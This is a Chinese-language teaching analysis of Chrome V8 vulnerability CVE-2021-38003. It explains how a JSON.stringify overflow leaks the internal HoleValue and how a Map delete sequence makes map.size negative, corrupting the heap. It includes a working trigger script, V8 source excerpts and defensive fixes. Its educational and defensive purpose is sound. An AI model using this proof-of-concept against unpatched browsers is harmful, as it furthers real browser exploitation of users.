《灰豆聊 Bug》1. Chrome V8 CVE-2021-38003 详解
字数 1878 2025-08-29 08:32:09
Chrome V8 CVE-2021-38003 漏洞分析与教学文档
1. 漏洞概述
CVE-2021-38003 是 Chrome V8 引擎中的一个漏洞,影响 Google Chrome 95.0.4638.54 (Official Build) (x86_64) 版本。该漏洞源于 V8 对 JSON.stringify 异常处理不当,结合 Map 对象的删除操作,可导致堆损坏。
2. 漏洞原理详解
2.1 漏洞触发流程
- 通过 JSON.stringify 触发字符串构建器溢出,获取特殊的 HoleValue
- 将 HoleValue 作为 Map 的键进行操作
- 通过特定的删除操作序列导致 Map 内部状态不一致
- 最终导致 Map 的 size 变为负数,造成堆损坏
2.2 关键组件分析
2.2.1 JSON.stringify 异常处理
JSON.stringify 在处理大字符串时使用 string builder 容器,该容器的容量上限是 String::kMaxLength。当溢出发生时:
- 正常情况下溢出异常应被 V8 的异常队列捕获
- 但 JSON.stringify 的溢出异常未被 V8 捕获,而是返回到了用户态
- 用户可以通过 try-catch 捕获到特殊的 HoleValue(V8 内部表示空值的变量)
2.2.2 Map 删除操作机制
Map 的删除操作 (map.delete) 内部实现:
- 查找要删除的键值对
- 将键和值的位置用 HoleValue 填充
- 更新 Map 的 size (size = size - 1)
- 检查是否需要触发 Rehash 操作清理 hole
关键条件判断:
GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
number_of_buckets),
&shrink);
当 number_of_elements*2 < number_of_buckets 时,会触发 Runtime::kMapShrink 进行 Rehash。
2.3 漏洞利用关键点
-
获取 HoleValue:
- 通过构造大字符串使 JSON.stringify 溢出
- 捕获返回的 HoleValue
-
Map 操作序列:
- 先添加一个正常键值对 (如
map.set(1, 1)) - 然后添加 HoleValue 作为键 (
map.set(hole, 1)) - 执行两次删除 HoleValue 的操作
- 最后删除正常键值对
- 先添加一个正常键值对 (如
-
避免过早 Rehash:
map.set(1, 1)用于"凑数",确保第一次删除后不满足 Rehash 条件- 这样可以在第二次删除时造成 size 变为负数
3. 漏洞代码分析
3.1 测试用例代码
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log("Size");
console.log(map.size);
3.2 关键代码解释
-
触发 HoleValue 获取:
- 创建超大字符串数组
- JSON.stringify 尝试序列化时触发溢出
- 捕获返回的 HoleValue
-
Map 操作序列:
map.set(1, 1):添加正常键值对map.set(hole, 1):添加 HoleValue 作为键- 第一次
map.delete(hole):正常删除,size减1 - 第二次
map.delete(hole):再次找到并"删除"hole,size变为0 map.delete(1):删除正常键值对,size变为-1
4. 底层机制分析
4.1 JsonStringify 异常处理
RETURN_RESULT_OR_FAILURE 宏展开:
do {
Handle<Object> __result__;
Isolate* __isolate__ = (isolate);
if (!(JsonStringify(isolate, object, replacer, indent))
.ToHandle(&__result__)) {
DCHECK(__isolate__->has_pending_exception());
return ReadOnlyRoots(__isolate__).exception();
}
DCHECK(!__isolate__->has_pending_exception());
return *__result__;
} while (false);
当 .ToHandle() 返回 false 时,返回 exception()(即 HoleValue)。
4.2 MapPrototypeDelete 实现
关键部分:
// 标记条目为已删除
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * OrderedHashMap::HashTableStartIndex());
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kValueOffset));
// 更新元素数量
const TNode<Smi> number_of_elements = SmiSub(
CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);
4.3 Rehash 机制
OrderedHashTable::Rehash 关键部分:
for (InternalIndex old_entry : table->IterateEntries()) {
int old_entry_raw = old_entry.as_int();
Object key = table->KeyAt(old_entry);
if (key.IsTheHole(isolate)) {
table->SetRemovedIndexAt(removed_holes_index++, old_entry_raw);
continue;
}
// ...处理非hole键...
}
5. 漏洞利用条件
- 能够触发 JSON.stringify 的字符串构建器溢出
- 获取到 HoleValue 并作为 Map 的键
- 精确控制 Map 的操作序列:
- 添加足够多的正常键值对防止过早 Rehash
- 对 HoleValue 键执行两次删除操作
- 最终导致 Map 的 size 变为负数
6. 防御措施
- 修复 JSON.stringify 的异常处理,确保所有异常都被 V8 捕获
- 加强 Map 删除操作的边界检查,防止 size 变为负数
- 对 HoleValue 作为 Map 键的情况进行特殊处理
- 改进 Rehash 触发条件判断逻辑